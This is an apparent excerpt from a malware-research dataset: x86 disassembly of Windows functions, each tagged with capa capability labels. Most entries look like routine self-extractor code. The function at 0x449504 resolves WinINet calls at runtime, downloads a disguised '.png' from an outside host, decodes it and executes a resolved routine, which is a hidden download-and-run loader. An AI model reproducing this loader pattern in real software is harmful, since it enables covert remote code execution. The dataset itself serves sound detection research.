joyce8/EMBER2024-capa huggingface dataset:
Function at 0x440c8d
Capabilities:
Get geographical location

Disassembly:
push ebx
push ebp
push esi
push edi
call fcn.004398a4
mov ebp, dword [esp + 0x14]
mov esi, eax
xor ebx, ebx
add esi, 0x9c
cmp ebp, ebx
jne 0x440c7a
or dword [esi + 8], 0x104
jmp 0x440d2b
lea eax, [ebp + 0x40]
cmp eax, ebx
lea edi, [esi + 4]
mov dword [esi], ebp
mov dword [edi], eax
je 0x440c9c
cmp byte [eax], bl
je 0x440c9c
push edi
push 0x16
push 0x44ed70
call fcn.004406d9
add esp, 0xc
mov eax, dword [esi]
cmp eax, ebx
mov dword [esi + 8], ebx
je 0x440cf0
cmp byte [eax], bl
je 0x440cf0
mov eax, dword [edi]
cmp eax, ebx
je 0x440cba
cmp byte [eax], bl
je 0x440cba
call fcn.00440bb2
jmp 0x440cbf
call fcn.00440c17
cmp dword [esi + 8], ebx
jne 0x440d40
push esi
push 0x40
push 0x44eb68
call fcn.004406d9
add esp, 0xc
test eax, eax
je 0x440d37
mov edi, dword [edi]
cmp edi, ebx
je 0x440ce9
cmp byte [edi], bl
je 0x440ce9
call fcn.00440bb2
jmp 0x440d37
call fcn.00440c17
jmp 0x440d37
mov edi, dword [edi]
cmp edi, ebx
je 0x440d24
cmp byte [edi], bl
je 0x440d24
push edi
call fcn.00434270
sub eax, 3
neg eax
pop ecx
sbb eax, eax
push 1
inc eax
push 0x44081b
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
test byte [esi + 8], 4
jne 0x440d37
mov dword [esi + 8], ebx
jmp 0x440d37
mov dword [esi + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
cmp dword [esi + 8], ebx
je 0x440e2f
mov ecx, ebp
add ebp, 0x80
neg ecx
sbb ecx, ecx
and ecx, ebp
mov edi, esi
call fcn.00440739
mov ebx, eax
test ebx, ebx
je 0x440e2f
cmp ebx, 0xfde8
je 0x440e2f
cmp ebx, 0xfde9
je 0x440e2f
movzx eax, bx
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x440e2f
push 1
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x440e2f
mov eax, dword [esp + 0x18]
test eax, eax
je 0x440db7
mov cx, word [esi + 0x18]
mov word [eax], cx
mov cx, word [esi + 0x1c]
mov word [eax + 2], cx
mov word [eax + 4], bx
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x440e2a
cmp word [eax], 0x814
mov ebp, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
jne 0x440df1
push str.Norwegian_Nynorsk
push 0x40
push edi
call fcn.00433ca7
add esp, 0xc
test eax, eax
je 0x440e02
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00432467
add esp, 0x14
jmp 0x440e02
push 0x40
push edi
push 0x1001
push dword [esi + 0x18]
call ebp
test eax, eax
je 0x440e2f
push 0x40
lea eax, [edi + 0x40]
push eax
push 0x1002
push dword [esi + 0x1c]
call ebp
test eax, eax
je 0x440e2f
push 0xa
push 0x10
add edi, 0x80
push edi
push ebx
call fcn.00432c01
add esp, 0x10
xor eax, eax
inc eax
jmp 0x440e31
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x445162
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0043964b
xor ebx, ebx
cmp dword [0x461f6c], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x445238
push 0x44f0c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x445318
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44f0b4
push edi
call esi
cmp eax, ebx
je 0x445318
push eax
call fcn.004395dd
mov dword [esp], 0x44f0a4
push edi
mov dword [0x461f6c], eax
call esi
push eax
call fcn.004395dd
mov dword [esp], 0x44f090
push edi
mov dword [0x461f70], eax
call esi
push eax
call fcn.004395dd
mov dword [0x461f74], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0043c838
test eax, eax
pop ecx
pop ecx
je 0x445206
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00432467
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x445238
push str.K_tS_
push edi
call esi
push eax
call fcn.004395dd
cmp eax, ebx
pop ecx
mov dword [0x461f7c], eax
je 0x445238
push 0x44f05c
push edi
call esi
push eax
call fcn.004395dd
pop ecx
mov dword [0x461f78], eax
mov eax, dword [0x461f78]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4452bd
cmp dword [0x461f7c], ecx
je 0x4452bd
push eax
call fcn.00439654
push dword [0x461f7c]
mov esi, eax
call fcn.00439654
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4452bd
cmp edi, ebx
je 0x4452bd
call esi
cmp eax, ebx
je 0x44528a
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x44528a
test byte [ebp - 0x18], 1
jne 0x4452bd
lea eax, [ebp - 0x10]
push eax
call fcn.0043c86f
test eax, eax
pop ecx
je 0x4452a5
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00432467
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4452b4
or dword [ebp + 0x10], 0x200000
jmp 0x4452f8
or dword [ebp + 0x10], 0x40000
jmp 0x4452f8
mov eax, dword [0x461f70]
cmp eax, dword [ebp - 8]
je 0x4452f8
push eax
call fcn.00439654
cmp eax, ebx
pop ecx
je 0x4452f8
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4452f8
mov eax, dword [0x461f74]
cmp eax, dword [ebp - 8]
je 0x4452f8
push eax
call fcn.00439654
cmp eax, ebx
pop ecx
je 0x4452f8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x461f6c]
call fcn.00439654
cmp eax, ebx
pop ecx
je 0x445318
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x44531a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x449504
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
sub esp, 0x10
mov eax, dword [str.KERNEL32.DLL]
push ebx
push ebp
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [str.SHLWAPI.dll]
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ecx
mov dword [esp + 0x1c], eax
call ebp
mov ecx, dword [str.PathFindFileNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
push eax
call ebx
mov ecx, dword [str.USER32.dll]
mov edi, eax
push ecx
call ebp
mov ecx, dword [str.MessageBoxA]
push ecx
push eax
call ebx
mov ecx, dword [0x461500]
mov ebp, eax
push ecx
push 0
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x104
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
call edi
mov edi, dword [0x46150c]
mov esi, eax
cmp dword [edi], 0
je 0x4495e4
movzx eax, word [esi]
xor ecx, ecx
test ax, ax
je 0x4495a1
inc ecx
cmp word [esi + ecx*2], 0
jne 0x449599
cmp cl, byte [edi]
je 0x4495c0
cmp cl, byte [edi + 1]
je 0x4495c0
mov eax, dword [0x46152c]
push 0x10
push 0
push eax
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
xor edx, edx
cmp word [esi], cx
je 0x4495da
movzx eax, ax
lea ecx, [ecx + 1]
add edx, eax
movzx eax, word [esi + ecx*2]
test ax, ax
jne 0x4495c9
cmp edx, dword [edi + 4]
je 0x4495e4
cmp edx, dword [edi + 8]
jne 0x4495aa
mov eax, dword [str.WININET.DLL]
lea ebx, [esi + 0x20a]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [str.InternetOpenA]
mov esi, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x4614d8]
mov edi, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [str.InternetReadFile]
push ecx
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [str.chug]
mov esi, eax
push 0
push 0
push 0
push 1
push ecx
mov dword [esp + 0x24], 0
call edi
test eax, eax
je 0x4495aa
mov ecx, dword [0x461508]
push 0
push ecx
mov ecx, dword [str.https:__ampps.com_sitepad_data_uploads_2022_03_internet_icon.png]
push 0
push 0
push ecx
push eax
call dword [esp + 0x2c]
test eax, eax
je 0x4495aa
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [0x461500]
push ecx
push ebx
push eax
call esi
test eax, eax
je 0x4495aa
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4495aa
lea edx, [eax + ebx]
cmp edx, ebx
je 0x4495aa
mov esi, dword [ebx]
xor ecx, ecx
nop dword [eax + eax]
mov eax, dword [0x461514]
mov eax, dword [eax + ecx]
add eax, esi
mov dword [ecx + edx], eax
add ecx, 4
cmp ecx, 0x20
jl 0x4496a4
push edx
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4495aa
mov ecx, dword [0x4614e4]
push 0
push 0
push ecx
lea ecx, [esp + 0x28]
push ecx
call eax
jmp 0x4495aa
Function at 0x401047
Capabilities:
Set current directory

Disassembly:
push esi
push edi
push dword [esp + 0xc]
call fcn.00404210
pop ecx
push dword [esp + 0xc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea edi, [eax - 1]
neg edi
sbb edi, edi
neg edi
test esi, esi
je 0x401076
push dword [esp + 0xc]
call fcn.00401eaf
pop ecx
mov eax, edi
pop edi
pop esi
ret

Function at 0x401989
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [0x42ae94]
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4019b6
push edi
mov edi, dword [esp + 0xc]
movzx ecx, byte [edi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x42a6a0]
inc edi
sub esi, 1
jne 0x40199d
pop edi
mov dword [0x42ae94], edx
pop esi
ret
Function at 0x402eaa
Capabilities:
Query environment variable

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push 0x105
push esi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x402ecc
xor eax, eax
cmp byte [esi], al
pop esi
setne al
ret
xor eax, eax
pop esi
ret

Function at 0x402f1a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x5ac]
sub esp, 0x62c
mov eax, dword [0x4271a0]
xor eax, ebp
mov dword [ebp + 0x5a8], eax
mov eax, dword [ebp + 0x5b4]
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x7c]
push eax
push str..wzcloudOpenWithProgids
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x402f5d
xor eax, eax
jmp 0x4030ce
push esi
push edi
xor esi, esi
mov dword [ebp - 0x78], 0x104
push 0x208
lea eax, [ebp + 0x3a0]
mov edi, esi
push esi
push eax
call fcn.004037f6
add esp, 0xc
lea eax, [ebp - 0x78]
push esi
push esi
push esi
push esi
push eax
lea eax, [ebp + 0x3a0]
push eax
push esi
jmp 0x4030ab
inc edi
cmp dword [ebp - 0x78], 4
jle 0x40309b
push 4
lea eax, [ebp + 0x3a0]
push str.AppX
push eax
call fcn.0040c033
add esp, 0xc
test eax, eax
jne 0x40309b
push 0x208
lea eax, [ebp + 0x198]
push esi
push eax
call fcn.004037f6
push 0x208
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.004037f6
lea eax, [ebp + 0x3a0]
mov dword [ebp - 0x74], 0x208
push eax
push str._sApplication
lea eax, [ebp + 0x198]
push 0x104
push eax
call fcn.004046a6
add esp, 0x28
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x70]
push eax
push esi
push 2
push str.AppUserModelID
lea eax, [ebp + 0x198]
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x40309b
push str.WinZipComputing.
call fcn.0040bc4b
push eax
lea eax, [ebp - 0x70]
push str.WinZipComputing.
push eax
call fcn.0040c033
add esp, 0x10
test eax, eax
jne 0x40309b
lea eax, [ebp + 0x3a0]
push eax
push str._sShellopen
lea eax, [ebp + 0x198]
push 0x104
push eax
call fcn.004046a6
mov eax, dword [ebp + 0x5b8]
add esp, 0x10
add eax, eax
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x80]
lea eax, [ebp + 0x198]
push esi
push 2
push str.PackageRelativeExecutable
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
je 0x4030be
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x3a0]
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
je 0x402f94
jmp 0x4030c1
xor esi, esi
inc esi
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
mov ecx, dword [ebp + 0x5a8]
xor ecx, ebp
call fcn.00408783
add ebp, 0x5ac
leave
ret
Function at 0x4030e3
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x4271a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xc]
push eax
call fcn.0040c210
pop ecx
cmp eax, 8
jae 0x4031ac
push esi
xor esi, esi
lea eax, [ebp - 0x2c]
push esi
push esi
push esi
push esi
push esi
push 0x20
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x4031a5
push 7
lea eax, [ebp - 0x2c]
push str.PKBACK
push eax
call fcn.004037a9
add esp, 0xc
test eax, eax
jne 0x4031a5
mov al, byte [ebp - 0x2c]
lea ecx, [ebp - 0x2c]
test al, al
je 0x4031a5
mov dl, al
mov al, dl
cmp dl, 0x2e
je 0x40316c
cmp dl, 0x20
je 0x403168
inc ecx
mov al, byte [ecx]
mov dl, al
test al, al
jne 0x403153
test al, al
je 0x4031a5
cmp al, 0x30
jb 0x403174
cmp al, 0x39
jbe 0x403179
inc ecx
mov al, byte [ecx]
jmp 0x40316c
movzx edx, al
imul esi, esi, 0xa
lea eax, [edx - 0x30]
cmp eax, 9
ja 0x403193
inc ecx
add esi, 0xffffffd0
add esi, edx
mov al, byte [ecx]
test al, al
jne 0x403179
mov ax, si
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00408783
leave
ret 4
mov eax, 0xffff
jmp 0x403196
push 0x41f
push str.sfxhead.c
call fcn.00404573
int3

Function at 0x4039a6
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
mov esi, dword [esp + 8]
xor edx, edx
push edi
push 8
add esi, esi
pop edi
mov ecx, edx
sar esi, 1
shr ecx, 1
mov eax, edx
xor eax, esi
mov edx, ecx
xor edx, 0xedb88320
test al, 1
cmove edx, ecx
dec edi
test edi, edi
jg 0x4039b3
pop edi
mov eax, edx
pop esi
ret 4
Function at 0x40426e
Capabilities:
Create process on windows
Log keystrokes via polling
Query or enumerate registry value

Disassembly:
sub esp, 0xa40
mov eax, dword [0x4271a0]
xor eax, esp
mov dword [esp + 0xa3c], eax
push ebx
push ebp
push esi
push edi
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x40443e
mov ebx, 0x105
mov ebp, 0x42a460
push ebx
push ebp
call fcn.00405ca6
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x230]
push ebx
push eax
call fcn.0040bb1e
add esp, 0x18
lea eax, [esp + 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [esp + 0x10]
mov edi, 0x209
push eax
lea eax, [esp + 0x430]
mov dword [esp + 0x14], edi
push eax
push str.winzip_shellopencommand
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
test eax, eax
je 0x404366
lea eax, [esp + 0x840]
push 0x104
push eax
call fcn.00402f1a
pop ecx
pop ecx
test eax, eax
je 0x40443e
push 0xffffffffffffffff
push str.WinZipUWPHelper.exe
lea eax, [esp + 0x434]
push edi
push eax
call fcn.0040bb1e
push 0x20a
xor esi, esi
lea eax, [esp + 0x28]
push esi
push eax
call fcn.004037f6
push ebp
lea eax, [esp + 0x860]
push eax
push str.RunExe20083F0D_D8B0_49E2_B454_D6DA05DFFB81_s20083F0D_D8B0_49E2_B454_D6DA05DFFB81__s_
lea eax, [esp + 0x3c]
push edi
push eax
call fcn.004046a6
push 0xffffffffffffffff
lea eax, [esp + 0x48]
push eax
push edi
push ebp
call fcn.0040bb1e
add esp, 0x40
jmp 0x4043e7
xor esi, esi
lea edi, [esp + 0x42c]
mov ebx, esi
cmp word [esp + 0x42c], bx
je 0x404398
push 4
push str.___1
push edi
call fcn.0040c033
add esp, 0xc
test eax, eax
je 0x404398
add edi, 2
inc ebx
cmp word [edi], si
jne 0x40437b
add ebx, ebx
cmp ebx, 0x412
jae 0x40447d
xor eax, eax
push 0x20a
mov word [esp + ebx + 0x430], ax
lea eax, [esp + 0x18]
push esi
push eax
call fcn.004037f6
push ebp
push str.__s_
mov edi, 0x105
lea eax, [esp + 0x28]
push edi
push eax
call fcn.004046a6
push 0xffffffffffffffff
lea eax, [esp + 0x34]
push eax
push edi
push ebp
call fcn.0040bb1e
add esp, 0x2c
mov eax, dword [0x427048]
test eax, 0x1000
je 0x40441c
test eax, 0x8000
jne 0x40441c
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x7a
pop ecx
push 0x69
lea eax, [eax*2 + 0x42a458]
mov word [eax], cx
pop ecx
push 0x70
mov word [eax + 2], cx
pop ecx
mov word [eax + 4], cx
push 1
lea eax, [esp + 0x224]
push eax
push ebp
lea eax, [esp + 0x438]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
test eax, eax
setne al
jmp 0x404464
push 0
push 0x7d0
call fcn.00403824
push eax
push 0x40e
call fcn.00403824
push eax
push dword [0x42ae9c]
call dword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
mov ecx, dword [esp + 0xa4c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00408783
add esp, 0xa40
ret
call fcn.004086a8
int3
Function at 0x404573
Capabilities:
Terminate process
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x11c]
sub esp, 0x19c
mov eax, dword [0x4271a0]
xor eax, ebp
mov dword [ebp + 0x118], eax
mov eax, dword [0x427e3c]
mov ecx, eax
mov edx, dword [ebp + 0x124]
inc eax
mov dword [0x427e3c], eax
push esi
test ecx, ecx
jne 0x404681
push dword [ebp + 0x128]
push edx
push 0x7d4
call fcn.00403824
push eax
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x30
push 0x7d0
call fcn.00403824
push eax
lea eax, [ebp - 0x7c]
push eax
push dword [0x42ae9c]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 0x20
push 2
push 0
push 1
push 0x40000000
push str.WZSFX32.RPT
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x404681
push 0x41e5bc
lea eax, [ebp - 0x7c]
push 0x191
push eax
call fcn.0040c1ac
add esp, 0xc
lea eax, [ebp - 0x80]
push 0
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.0040c210
pop ecx
push eax
lea eax, [ebp - 0x7c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call fcn.00403c31
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.WZSFX32.RPT
push 0x7d1
call fcn.00403824
push eax
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x30
push 0x7d0
call fcn.00403824
push eax
lea eax, [ebp - 0x7c]
push eax
push dword [0x42ae9c]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4046cf
Capabilities:
Create process on windows

Disassembly:
sub esp, 0xfe8
mov eax, dword [0x4271a0]
xor eax, esp
mov dword [esp + 0xfe4], eax
push ebx
mov ebx, dword [esp + 0xff0]
lea eax, [esp + 0xa20]
push ebp
mov ebp, dword [esp + 0xffc]
push esi
mov esi, dword [esp + 0xffc]
push edi
push ebx
push 0x2e3
push eax
call fcn.0040b9ec
xor edi, edi
add esp, 0xc
cmp word [esi], di
je 0x404746
push 0x41e318
lea eax, [esp + 0xa30]
push 0x2e3
push eax
call fcn.0040b9ec
push esi
lea eax, [esp + 0xa3c]
push 0x2e3
push eax
call fcn.0040b97d
add esp, 0x18
cmp ebp, 0xffffffff
jne 0x40479e
push 0x10
lea eax, [esp + 0x14]
push edi
push eax
call fcn.004037f6
push 0x44
pop edi
push edi
xor ecx, ecx
lea eax, [esp + 0x30]
push ecx
push eax
call fcn.004037f6
add esp, 0x18
mov dword [esp + 0x20], edi
lea eax, [esp + 0x10]
xor edi, edi
push eax
lea eax, [esp + 0x24]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [esp + 0xa4c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40479e
mov eax, dword [esp + 0x10]
jmp 0x4048d6
lea eax, [esp + 0x464]
push eax
push edi
push ebx
call dword [sym.imp.SHELL32.dll_FindExecutableW]
mov edi, eax
cmp edi, 0x1f
jne 0x404815
mov ebp, 0x100
lea eax, [esp + 0x64]
push ebp
push eax
push 0xffffffffffffffff
push 0x427
call fcn.00403824
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edi, edi
push eax
push edi
push edi
call esi
push ebx
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0x46c]
push 0x2e3
push eax
call fcn.004046a6
add esp, 0x10
lea eax, [esp + 0x264]
push ebp
push eax
push 0xffffffffffffffff
push 0x7d0
call fcn.00403824
push eax
push edi
push edi
call esi
push 0x10
jmp 0x4048b8
cmp edi, 0x20
jbe 0x40485b
xor eax, eax
xor ecx, ecx
cmp word [esi], cx
push 1
cmovne eax, esi
push ecx
push eax
mov eax, dword [0x427048]
and eax, 0x20000
neg eax
push ebx
sbb eax, eax
and eax, 0x41e31c
push eax
push dword [0x42ae9c]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov edi, eax
test ebp, ebp
je 0x404852
mov dword [ebp], edi
cmp edi, 0x20
jbe 0x40485b
mov eax, edi
jmp 0x4048d6
mov ebp, 0x100
lea eax, [esp + 0x64]
push ebp
push eax
push 0xffffffffffffffff
push 0x400
call fcn.00403824
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
xor eax, eax
push eax
push eax
call esi
push ebx
push edi
lea eax, [esp + 0x6c]
push eax
lea eax, [esp + 0x470]
push 0x2e3
push eax
call fcn.004046a6
add esp, 0x14
lea eax, [esp + 0x264]
push ebp
push eax
push 0xffffffffffffffff
push 0x7d0
call fcn.00403824
push eax
xor ebx, ebx
push ebx
push ebx
call esi
push ebx
lea eax, [esp + 0x268]
push eax
lea eax, [esp + 0x46c]
push eax
push dword [0x42ae9c]
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov ecx, dword [esp + 0xff4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00408783
add esp, 0xfe8
ret
Function at 0x405022
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
lea ebp, [esp - 0x224]
sub esp, 0x224
push 0xffffffffffffffff
push 0x41cf95
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x4271a0]
xor eax, ebp
mov dword [ebp + 0x220], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0x22c]
lea eax, [ebp + 0x18]
push 0x104
push 0
push eax
call fcn.004037f6
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x405081
mov eax, dword [esi]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0x41e620
push eax
lea eax, [ebp + 0x18]
push eax
call ebx
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40518b
push 0x104
lea eax, [ebp + 0x11c]
push 0
push eax
call fcn.004037f6
add esp, 0xc
test byte [ebp - 0x14c], 0x10
je 0x405146
lea eax, [ebp - 0x120]
push 0x41e578
push eax
call fcn.00410820
pop ecx
pop ecx
test eax, eax
je 0x40516e
lea eax, [ebp - 0x120]
push 0x41e624
push eax
call fcn.00410820
pop ecx
pop ecx
test eax, eax
je 0x40516e
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x40510a
mov eax, dword [esi]
lea ecx, [ebp - 0x120]
push ecx
push eax
lea eax, [ebp + 0x11c]
push eax
call ebx
lea eax, [ebp + 0x11c]
push eax
lea ecx, [ebp]
call fcn.00404e45
and dword [ebp - 4], 0
lea eax, [ebp]
push eax
call fcn.00405022
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp]
call fcn.004056a4
jmp 0x40516e
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x405150
mov eax, dword [esi]
lea ecx, [ebp - 0x120]
push ecx
push eax
lea eax, [ebp + 0x11c]
push eax
call ebx
lea eax, [ebp + 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x14c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4050af
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [esi + 0x14], 0x10
jb 0x405193
mov esi, dword [esi]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x220]
xor ecx, ebp
call fcn.00408783
add ebp, 0x224
leave
ret